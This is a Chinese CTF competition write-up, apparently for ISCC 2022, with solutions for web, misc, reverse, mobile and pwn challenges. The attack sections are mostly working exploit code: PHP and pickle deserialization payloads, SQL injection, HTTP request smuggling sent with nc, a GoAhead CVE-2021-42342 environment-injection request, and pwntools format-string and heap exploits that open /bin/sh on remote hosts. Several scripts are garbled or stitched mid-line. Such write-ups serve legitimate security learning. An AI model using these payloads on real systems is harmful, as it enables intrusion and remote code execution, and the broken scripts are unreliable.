目录
解题步骤及过程：
练武题WP：
Web:
冬奥会：
Payload：
?information={"year":"x","items":[0,[],0]}爱国敬业好青年-2：
手动扫了一下，发先有一个/change目录，显示了一个Open，肯定是有用的。
既然是爱国敬业好青年，我先尝试了北京的经纬度，又尝试了北京天安门的经纬度。
现在要想一下如何提交，肯定不是初始页面，存在挟持。
发现存在/flag目录，于是尝试提交，但很多次都没成功，必须先访问change，回显Open后在提交。
说实话，脑洞有亿些大。
Pop2022：
反序列化，找到了原题，直接写。
Exp：
<?PHP
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.PHP'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i",$this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.PHP";
}
}
}
class Try_Work_Hard{
protected $var = 'flag.PHP';
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __get($key){
$function = $this->effort;
return $function();
}
}
$mac = new Make_a_Change();
$mac->effort = new Try_Work_Hard();
$ril1 = new Road_is_Long();
$ril1->string = $mac;
$ril2 = new Road_is_Long();
$ril2->page = $ril1;
echo urlencode(serialize($ril2));paylod:
wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"PHP%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.PHP"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D这是一道代码审计题：
打开后访问/index显示404，查看cookie后发现存在login，试了一下login=1，或者删除也行。
然后加上后缀?url=127.0.0.1,发现存在./static/code.txt文件。
打开后发现base100加密后的代码。
得到代码：
def genesign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+',url):
if judge_ip(hostname):
return True
return False,"You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False,"You not get the right clue!"
except BaseException as e:
return False,str(e)
except:
return False,"unkNow error"
def ip2long(ip_addr):
return struct.unpack("!L",socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.','0','1','2','7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False发现存在sstf，构造url= http://@MTI3LjAuMC4x。
然后利用这个cookie和路径。
试了许多，到最后xxe成功了。
Easy-sql：
找到了一道类似的题。
网址：
[2020网络安全管理职业技能竞赛全国选拔赛]ezsqli_末 初的博客-CSDN博客
先尝试了几下：
想办法得到emali，select被过滤，利用table找email。
尝试了一会发现ypHeMPardErE.zip，直接访问即可得到。
发现zip里边有一个index.PHP代码文件，查看代码，发现和网址中的代码一样。
payload：
POST：username=1'/**/union/**/select/**/1,0x61646d696e,3%23&passwd=3Findme：
存在反序列化漏洞，利用PHP原生类，遍历目录。
EXP：
<?PHP
class a{
public $un0='DirectoryIterator';
public $un1='glob://f*';
public $un2;
public $un3='unserialize';
public $un4;
}
$a = new a();
echo serialize($a);然后传入即可。
发现存在flllHL91244ggg-SecR1et.txt文件。访问即可得到flag。
让我康康!：
多次尝试漏洞类型，发现了flag在/fl4g中。
发现了后端服务器类型为gunicorn/20.0.0，网上搜索相关漏洞，发现存在其存在服务器差异，可以利用服务器的差异来运用高级漏洞http走私，还顺便看了一些文章。
payload
GET / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n
Content-Length: 67\r\n
Sec-Websocket-Key1: x\r\n
\r\n
xxxxxxxxGET /fl4g HTTP/1.1\r\n
Host: localhost\r\n
Content-Length: 35\r\n
\r\n
GET / HTTP/1.1\r\n
Host: 127.0.0.1\r\n
\r\n然后回显只有本地人才能的获得flag，加一个secr3t_ip: 127.0.0.1即可。
可以用nc直接得到flag。
echo -en "POST / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020Flag为ISCC{Let9_M1_sE1_s0m1ThInG_gO0dhhh}
misc：
2022冬奥会：
猜测密码为灯笼。
利用记事本打开即可。
单板小将苏翊鸣：
得到：
扫描二维码然后解密，得到解压密码：15942
然后输入即可得到flag。
隐秘的信息：
现在附件后会发现有加密，题目给的有一穿加密字符，base64试一下。
当作密码尝试一下，成功进入，发现一张图片，用stegsolve打开，查看lsb通道。
发现啥都没有，尝试了好多方法，都不行，感觉就应该是lsb通道。
发现前几行有点特别，放进hex转码一下。
得到flag。
藏在星空中的诗1：
按照五角星的画法明显顺序是13524.
将Poem里的东西排列一下即是密码，然后对比。
即可得到flag。
藏在星空中的诗2：
开头肯定是ISCC，发现六个为一组，而且前两个一样。
和Escape/unescape编码类似，本来想直接猜测对应字母，发现少了许多，想起来第一题中有一个xls文件可以对应，因为知道了开头的ISCC{和结尾的}，为了省事直接从括号里边开始。
对应出解码一下便是flag
降维打击：
得到图片后先用binwalk看一下。
然后分离。
命令：dd if=1.png of=3.jpg skip=290500 bs=1
之后会发现binwalk中多出一个3.jpg。
然后将3.jpg放入esteg中。
先用：zsteg -a 3.jpg
再用：zsteg -e b1,r,lsb,yx 3.jpg -> 1.jpg
然后得到图片
和图片比对
得到flag。
真相只有一个：
打开得到三个文件，猜测flag在flag.txt中，但被隐藏起来，发现stream中存在压缩文件.
利用010Editor来改变hex头;
另存为1.zip，得到压缩文件，发现有密码，密码应该在图片中。
利用StegSolve文件查看通道，发现密码：
虽然不对，但是应该没有问题，估计是后边还有，爆破得到密码：19981111；
得到流量文件。
导出mp3文件。
发现摩斯电码：../.../-.-./-.-./--/../.../-.-.
解密得：
利用SNow.EXE得到flag：
Re：
GetTheTable：
文件用ida打开。
找到main函数，反编译。
题目给的提示，找到正确的解密方式。
利用工具试一下。
base58解码得到flag。
Amy's Code:
打开文件，用ida32打开，先shift+f12。
双击进入correct中
进入main中。
跟进，f5反编译，然后进入sub_411433
在进入sub_412550。
Python脚本解密得到flag：
a=[149,169,137,134,212,188,177,184,197,192,179,153,190,126,108,159,191,184]
b='LWHFUENGDJGEFHYDHIGJ'
flag=''
str=''
for i in range(len(b)):
str = str + chr(a[i]-ord(b[i]))
for j in range(len(a)):
flag = flag + chr(ord(str[j])^j)
print(flag)How_decode：
Exp：
#include <iostream>
using namespace std;
int main(int argc,char *argv[])
{
string Flag = "ISCC{012345678901}";
int key[4] ={'I','S','C','C'};//格式
int x = 18;//十八个变量数组
int flagI[18];
printf("请输入ida中的18个变量:");//用空格隔开
for(int i=0;i<18;i++) //输入ida中的变量。
{
scanf("%d",&flagI[i]);
}
int z = 52/x + 6;
int basic1 = z * -0x61C88647;
int y = flagI[0];
for (; z--;)
{
int basic2 = (basic1 >> 2) & 3;
for (int a=x-1; a>=0; a--) {
int b = flagI[(a + x - 1)%x];
flagI[a] -= ((y ^ basic1) + (b ^ key[basic2 ^ (a & 3)])) ^ (((4 * y) ^ (b >> 5)) + ((y >> 3) ^ (16 * b)));
y = flagI[a];
}
basic1 = 156 + 0x61C88647;
}
printf("flag如下：");
for (int j=0;j<x;j++)
cout << (char)flagI[j];
cout << endl;
return 0;
}将变量输入即可得到flag。
Sad Code
找到解题关键。
先放入脚本一：
from z3 import *
s = Solver()
a=[Int('a[%d]'%i) for i in range(7)]
b=Int('b')
//以下都是ida中的值
s.add(a[1] + 7 * a[0] - 4 * b - 2 * a[2] == 0x1FEE9B3DB)
s.add(5 * a[2] + 3 * a[1] - a[0] - 2 * b == 0x12EF33D88)
s.add(2 * a[0] + 8 * a[2] + 10 * b - 5 * a[1] == 0x47293F299)
s.add(7 * b + 15 * a[0] - 3 * a[2] - 2 * a[1] == 0x7D3D1DA46)
s.add(15 * a[3] + 35 * a[6] - a[4] - a[5] == 0x10359D2A4C)
s.add(38 * a[5] + a[3] + a[6] - 24 * a[4] == 0x330898232)
s.add(38 * a[4] + 32 * a[3] - a[5] - a[6] == 0x1650EEAB9D)
s.add(a[3] + 41 * a[5] - a[4] - 25 * a[6] == 0x2B9ED1A3E)
if s.check():
print(s.model())得到的值再放入脚本二：
from Crypto.Util.number import long_to_bytes
a=[0]*7
a[2] = 1143816531
a[4] = 1414999372
b = 1230193475
a[6] = 1464291709
a[3] = 1397509185
a[1] = 1297629761
a[5] = 1178879054
a[0] = 2068924756
FLAG=long_to_bytes(b)
for i in a:
FLAG+=long_to_bytes(i)
print(FLAG)即可得到flag。
VigenereLike：
发现存在加密信息，写脚本解密即可。
Exp：
def fjl(x,y):#比大小
if x > y: return 0
else: return -1
def fjl2(sum):
a=sum&1
return a==0
def fjl3():
print("得到flag：")
x = [0xe4,0x3d,0x80,0x24,0xc7,0x0d,0xa3,0xba, 0x00,0x05,0x8c,0x64,0x97,0x4e,0x0a, 0x3e,0x4b,0x51,0x07,0x8f,0x79,0x60,0x5b,0x9b]#脚本1解码后的16进制数
y = [ 0x9A,0x78,0xB6,0x12,0xBE,0x66,0x8D,0xCF,0x9E, 0x63,0xCB,0x4A,0xD1,0x1A,0x59,0x1C,0x17,0x73, 0xF2,0x1D,0x2F,0xF0,0xD7,0xB3,0x22,0x5D,0xAD, 0x0B,0xE2]
k = [0x32,0x63,0x65,0x61,0x39,0x30, 0x34,0x36,0x33,0x62,0x34,0x32,0x38, 0x63,0x64]
kk = []
z = ''
print("调试:\n")
for i in range(len(x)):
kk.append(x[i]^y[i])
for i in range(len(kk)):
for j in range(128):
if (fjl((k[i]+0xd0)&0xff,0xa) + j +2)&0xff == kk[i]:
z = z + chr(j)
print(z)
break
flag=list(z[::-1])
for j in range(len(flag)):
if ord('a') <= ord(flag[j]) <= ord('z'):
flag[j] = chr(ord(flag[j])^0x20)
elif ord('A') <= ord(flag[j]) <= ord('Z'):
flag[j] = chr(ord(flag[j])^0x20)
elif ord('0') <= ord(flag[j]) <= ord('9'):
a = ord(flag[j]) + 1
b = ord(flag[j]) - 1
if fjl2(ord(flag[j])):
flag[j] = chr(a)
else:
flag[j] = chr(b)
else:
pass
print("最终flag如下：")
for i in range(len(flag)):
print(flag[i],end='')#输出flagBob's Code：
Ida32打开文件，搜索main函数，在main_0中找到了str1和str2，比较一下。
查看str1的处理。
还需要对base换表，然后用exp跑出脚本。
import base64
#HN-fjl
def printinfo():
print('--'*30)
print('flag如下:')
x=list\
('.W1BqthGbfihKthkzV1tYc.hl5oY5qcbJ3XhXQXXlRoWBWdhRTXORpf1RwoF0.')
y=len(x)
for j in range(y):
if 'a'<=x[j]<='z':
x[j] = chr(((ord(x[j])-97-2)%26)+97)
elif 'A'<=x[j]<='Z':
x[j] = chr(((ord(x[j])-65-2)%26)+65)
printinfo()
y=''.join(x)+'=='
print(base64.b64decode(base64.b64decode(y.translate(str.maketrans(str1,str2)))))Ruststr：
用ida64打开iscc_reverse文件，然后查看main函数，发现。
像是base解密，尝试一下，发现只有base64解开然后是乱码。
之后尝试一下hex头解码。
利用脚本1：
import base64
# base64解码
def base64_decode(base64_data):
temp = base64.b64decode(base64_data).hex()
return temp
data = "5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=="
tem = base64_decode(data)
print(tem)
#结果：e43d8024c70da3ba00c7058c64974e0a3e4b51078f79605b9b
得到16进制数。
再利用脚本2：
def fjl(x,0xa) + j +2)&0xff == kk[i]:
z = z + chr(j)
print(z)
break
flag=list(z[::-1])
for j in range(len(flag)):
if ord('a') <= ord(flag[j]) <= ord('z'):
flag[j] = chr(ord(flag[j])^0x20)
elif ord('A') <= ord(flag[j]) <= ord('Z'):
flag[j] = chr(ord(flag[j])^0x20)
elif ord('0') <= ord(flag[j]) <= ord('9'):
a = ord(flag[j]) + 1
b = ord(flag[j]) - 1
if fjl2(ord(flag[j])):
flag[j] = chr(a)
else:
flag[j] = chr(b)
else:
pass
print("最终flag如下：")
for i in range(len(flag)):
print(flag[i],end='')#输出flag最终得到flag。
Mobile：
Mobile A:
利用jadxgui打开后发现flag被分为两部分，一部分为AES加密，一部分为md5；
AES中的密钥为K@e2022%%y的base64加密。
偏移为：I&V2022***的base64加密。
内容为STk0OU11bnZiWCtvZGtpSUswK3Q2aHZxd2x2bTlIYkRjTFV4OWhZdEowbz0=的base64解密值。
得到第一部分flag：
然后是第二部分flag；
利用脚本获得：
先将eauals中的值放入a中
a=' '#需要放入其中的值
b=\
[20,19,12,11,4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]
for j in b:
print(a[j],end='')
然后用上一个脚本中的值的放入下边的a中
import base64
def base64_decode(base64_x):
y=base64.b64decode(base64_x).hex()
return y
a = ""#上一个脚本的运行结果
flag=base64_decode(a)
print(flag)#最后还需要md5解码。
运行然后将得到的值md5解密即可；
得到第二部分为no；
连起来即可得到flag。
MoblieB:
先利用jadxgui打开得到apk文件，得到加密的一串数字。
然后改后缀解压得到一些文件。
十二串字符，调试几次偏移，得到flag。
利用脚本：
def PHPinfo():
print('flag如下:')
x="5240520105205230123054040513013050130"[:-1]#查看apk得到的值
#下边是解压后ida中的值。
y="MTURVPYCJGZOQNKASEWFIXBHLD"
y=y+y
z="CKTUVBXSAFJDGHIMNYZOPQRWEL"
z=z+z
m="WXOPZGNVYDEFIJCBKARLUQHMST"
m=m+m
i="FBSnopMACKDRQITUVWHZLJXYGE"
i=i+i
n="OMEJCXYFZBQRAPGSDTINKLUHVW"
n=n+n
q="XASQGMTFIRBVHEJUOCDYZPKLNW"
q=q+q
g="EHWUVRYOPQSIBXJACTZGMNDFLK"
g=g+g
p="VWNIKAXmogHLZBRDQJEUYFPCST"
p=p+p
a="FDXYUKOPJMBCZLIGNVWSTEHAQR"
a=a+a
f="NSKBRTUZEJOPGHIFXCDAVWQYLM"
f=f+f
b="CLYMVHXASTKNWIUOPZJDBQGREF"
b=b+b
l="AYTNCBDRsqlZWXOPKJGEHIMFUV"
l=l+l
bian=[5,51,52,512,53,513,523,123,5123,54,514,24,524,124,5124,34,534,5134,234,5234,1234,51234]
x=list(map(int,x.split("0")))
o="ABCDEFGHIJKLMnopQRSTUVWXYZ"#列出
t=[]
for r in x:
t.append(o[bian.index(r)])
s=[y,z,m,i,n,q,g,p,a,f,b,l]
PHPinfo()
for r in range(12):
print(s[r][s[r].index(t[r],26)-9],end='')#结果加上ISCC{}即可。得到flag。
Flag为ISCC{结果}。
PWN：
create_id
check一下发现是32程序。
发现存在格式化字符串漏洞，让x==9，进入flag（）函数，可以直接cat到flag，所以利用漏洞将x的值修改为9。
Exp：
from pwn import *
def tishi():
print("flag在后边：")
a = remote('123.57.69.203',5310)
x = int(a.recvuntil('\n')[:-1],16)
a.sendline('6')
a.sendline('7')
a.sendline('8')#使x的值为9,即可得到flag。
a.sendlineafter("What's your name?\n",b"%9c%12$n"+p32(x))
Flag = a.recvuntil("}")
tishi()
print(Flag)
sim_treasure：
ida打开查看发现为循环格式化字符串漏洞。
测定偏移量为6，然后打印libc_start_main的地址，计算基地址偏移量，将system写到code段，code地址距离main长度为3。
from pwn import *
context(arch='i386')
def tiqu():
print("利用ls和cat发现并得到flag")
x = remote('123.57.69.203',7010)
tiqu()
a = ELF("sim_treasure")#将文件名字改为sim_treasure
b = ELF("libc-2.27.so")
offset = 6 #偏移量
x.recvuntil("Can you find the magic word?\n")
x.sendline('%35$p')
b_base = int(x.recvuntil(b'\n')[:-1],16)-b.symbols['__libc_start_main']-241
system = b_base+b.symbols['system']#利用system命令来得到flag。
sh = b_base+0x17E3CF
success(hex(b_base))
x.sendline('%3$p')
code_addr = int(x.recvuntil(b'\n')[:-1],16)-0x16CA
success(hex(code_addr))
x.sendline('%2$p')
eip_addr = int(x.recvuntil(b'\n')[:-1],16)+4
Payload = fmtstr_payload(offset,{code_addr+0x2A60:system})
x.sendline(Payload)
x.send(b'/bin/sh\x00')
sleep(0.3)
x.interactive()然后ls一下发现flag.txt文件，继续cat即可。
untidy_note：
将文件放入ida中，经查看发现存在UAF和堆溢出漏洞，写入eval和system得到flag。
from pwn import *
context(arch='amd64')
fp1 = 'untidy_note'
r = remote('123.57.69.203',7030)
print("利用ls和cat得到flag")
fp2 = ELF(fp1)#获取文件信息
fp3 = ELF('libc-2.27.so')#获取文件信息
def Edit(index,payload):
r.sendlineafter("Your choose is:\n",'3')
r.sendlineafter("index:\n",str(index))
r.sendlineafter("the size is:\n",str(len(payload)))
r.sendafter("Content:\n",payload)
def Free(index):
r.sendlineafter("Your choose is:\n",'2')
r.sendlineafter("index:\n\n",str(index))
def Show(index):
r.sendlineafter("Your choose is:\n",'4')
r.sendlineafter("index:\n",str(index))
def Allocate(size=0x18):
r.sendlineafter("Your choose is:\n",'1')
r.sendlineafter("the note size is:\n",str(size))
r.sendlineafter("Welcome to use untidy_note,Your name is:"
"",'HN-fjl')
for i in range(26):
Allocate(0x1f)
Allocate(0x8)
for j in range(26):
Free(j)
Edit(26,b'a'*0x18+p32(0x11))
Allocate()
Allocate()
Show(1)
fp3_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-998-10-fp3.symbols['__malloc_hook']
free_hook = fp3_base+fp3.symbols['__free_hook']
system = fp3_base+fp3.symbols['system']
success("system -> "+hex(system))
success("fp3_base -> "+hex(fp3_base))
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Allocate(0x1f)
Free(4)
Free(5)
Free(6)
Edit(6,p64(free_hook))
Allocate(0x1f)
Allocate(0x1f)
Edit(8,p64(system))
Allocate(0x18)
Edit(9,b'/bin/sh\x00')
Free(9)
r.interactive()然后ls一下，发现flag.txt，继续cat flag.txt即可。
跳一跳：
Ida打开文件，查看后发现check不到啥，尝试了好久，最后发现为泄露Canary和栈迁移漏洞。
Exp：
from pwn import *
def fjl():
printf("----------------------------------")
printf("flag如下：")
context.log_level='debug'
ip = remote('123.57.69.203',7020)#题目给的地址
fp1 = ELF('pwn')#题目给的文件
fp2=ELF('fp2-2.27.so')
ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
for i in range(216):
ip.sendline(str(0x61))
ip.send('b')
ip.recvuntil('a'*217)
canary=u64(ip.recv(7).rjust(8,'\x00'))
rbp=u64(ip.recv(6).ljust(8,'\x00'))
log.info(hex(canary))
log.info(hex(rbp))
payload='a'*216+p64(canary)+p64(0)+p8(0x98)
ip.send(payload)
ip.sendlineafter('Hello CTFer! Welcome to the world of pwn~',str(0x61))
for i in range(87):
ip.sendline(str(0x61))
ip.send('b')
ip.recvuntil('a'*88)
x=u64(ip.recv(6).ljust(8,'\x00'))
log.info(hex(x))
fp2_base = x-fp2.symbols['_ip_2_1_stderr_']y
y= fp2_base+0x4f2c5
payload = 'a'*216+p64(canary)+p64(0)+p64(y)
fjl()
ip.send(payload)
ip.interactive()擂台题WP：
MISC：
666:
打开后发现一个图片和一个flag的压缩包，不用想压缩包密码一定在图片里，尝试用Stegsolve打开文件查看，发现存在加密，尝试密码爆破，密码为123456，但还是什么都没有，想到可能是高度被改，于是改变了高度，的到密码!@#$%678()_+。
到这里就卡了好长时间，因为分析不出flag，最后在追踪tpc流时发现了一个网址，尝试访问试一下。
发现图片666。
分析一下得到两个加密。
图片中有三段加密。
第一个：SE1ERWtleto4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
第二个：pQLKpP/
第三个：EPmw301eZRzuYvQ==
第一个base64解密得到ISCC，然后以ISCC为秘钥再aes解密第二第三个得到flag。
Web：
Melody:
发现可以登录，随便登陆进去，找了一会什么都没有，就只有一个session构造。
但没有key。
搜目录后有一个info回显。
在网上看到过可以用?name={{config}}来得到key，这一题有一个Melody，也相当于题的name。
所以用?Melody={{config}}来得到，config是配置文件，一般用来设置秘钥，设置数据库地址等；
得到key：meldoy-is-so-cute-wawawa!
利用脚本来伪造session
传进session。
发现代码
# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask,Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self,other):
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self,module,name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module,name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/therealflag',methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin','123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)主要查看@后边的，一种picke反序列化，没接触过。
网上找了个脚本，稍微修改了一下：
import base64
data=b'''c__main__
melody
(S'name'
S"melody"
S"hug"
S"1"
db0(c__main__
register
S"melody"
S"hug"
o.
'''
print(base64.b64encode(data))因为是POST传参，所以直接传入
melody=Y19fbWFpbl9fCm1lbG9keQooUyduYW1lJwpTIm1lbG9keSIKUyJodWciClMimsIKZGIwKGNfX21haW5fXwpyZWdpc3RlcgpTIm1lbG9keSIKUyJodWciCg==
得到flag，交flag时把flag去掉变为ISCC{}格式，ISCC{2022_melody_secrets}。
Ping2rce：
通过分析http响应头看到了GoAhead，想到了命令执行漏洞。
考点是GoAhead环境变量注入。
CVE-2021-42342 GoAhead 远程命令执行漏洞。
【最新漏洞预警】CVE-2021-42342 GoAhead 远程命令执行漏洞深入分析与复现（警惕！影响范围广泛）
但跟题目不太相似，题目需要用到ping命令，想到了p神在跳跳糖中发布过的劫持ping执行过程中环境变量注入。
看了p神的分析，不一样的是p神覆盖的是echo函数，我们只需覆盖ping即可，需要知道的是：不能传入-p参数，不能传入-n参数BASH_DUNC_相当于前十个字符，后两个字符相当于%%，满足if语句后去除前缀后会是一个变量名，以（）开头的字符串将会被执行。
然后利用bp，POST传入BASH_FUNC_ping%%,内容为：() { cat /flag: }
POST /cgi-bin/ping?ip=127.0.0.1 HTTP/1.1
Host: 59.110.169.206:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.9,application/signed-exchange;v=b3;q=0.8
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN,zh;q=0.8
Content-Type: multipart/form-data:
Boundary=-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp
Connection: close
-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp
Content-disposition: form-data; name="BASH_FUNC_ping%%";
() { cat /flag; }
-----------------------------WebKitFormBoundaryAQByxV1hsbqmfWXp得到flag为ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}
PWN：
Ezuaf：
链接得到文件，将libc-2.27.so放进ida中分析，发现漏洞编写脚本。
from pwn import *
def bianji(page,context):
x.recvuntil(":")
x.sendline("2")
x.recvuntil("Input page\n")
x.sendline(str(page))
x.recvuntil("Input your massage:")
x.sendline(context)
def chuangjian(size):
x.recvuntil(":")
x.sendline("1")
x.recvuntil("Input size:")
x.sendline(str(size))
def show(page):
x.recvuntil(":")
x.sendline("4")
x.recvuntil("Input page\n")
x.sendline(str(page))
def shanchu(page):
x.recvuntil(":")
x.sendline("3")
x.recvuntil("Input page\n")
x.sendline(str(page))
fp=ELF("Ezuaf")#同一目录下的本题的libc-2.27.so文件，我用题目名字命名。
x=remote("123.57.69.203",8020)#连接上网址
chuangjian(0x410)
chuangjian(0x20)
shanchu(0)
show(0)
fp_addr=u64(x.recvuntil('\x7f').ljust(8,b'\x00'))-0x3EBCA0
print ('fp_addr',hex(fp_addr))
one_gadget=fp_addr+0x4f432
print ('one_gadget',hex(one_gadget))
free_hook = fp_addr + fp.symbols['__free_hook']
print ('free_hook',hex(free_hook))
chuangjian(0x20)
shanchu(2)
bianji(2,p64(free_hook))
chuangjian(0x20)
chuangjian(0x20)
bianji(4,p64(one_gadget))
shanchu(1)
x.interactive()最后ls和cat flag.txt得到flag。
RE：
Encode：
Mian函数分析：
对加密的逻辑分析一下：首先对data进行了xor处理，
然后获取密钥，然后是模运算。
写脚本解密即可：
Exp：
def fjl2(a,x,y):
sun = 0
if b:
sun = fjl2(b,a % b,y,x)
y -= a / b * x
else:
x = 1
y = 0
return a
return sum
def fjl1(z,fjl):
y,d = 0,0
d = fjl2(z,fjl,y)
if d == 1:
return (x % fjl + fjl) % fjl
else:
return -1
#主代码。
Flag = ''
test = [0x23,0x7,0x2B,0x6,0x3F,0x5,0x2,0x21,0x4B,0x2D,0x2]
k = [0] * 10
k[0],k[1],k[2] = [0x7,0xb,0xd]
k[3] = k[1] * k[0]
k[4] = (k[1] - 1) * (k[0] - 1)
k[5] = fjl1(k[2],k[4])
shuju = [0] * 24
for i in range(24):
for j in range(1,1000):
if test[i] == pow(j,k[2],k[3]):
shuju[i] = j
break
for j in range(len(shuju)):
shuju[j] += 70
shuju[j] ^= 0x3f
len1= len(shuju)
for i in range((len(shuju)%2 + len(shuju))//2,-1,-1):
shuju[len1 - i - 1] ^= shuju[i]
shuju[i] ^= shuju[len1-i-1]
shuju[len1 - i - 1] ^= shuju[i]
for i in range(len1):
Flag += chr(shuju[i] ^ 0xf)
print(Flag)flag为ISCC{PWN_ISR_EALLY_HARD}
版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 dio@foxmail.com 举报，一经查实，本站将立刻删除。
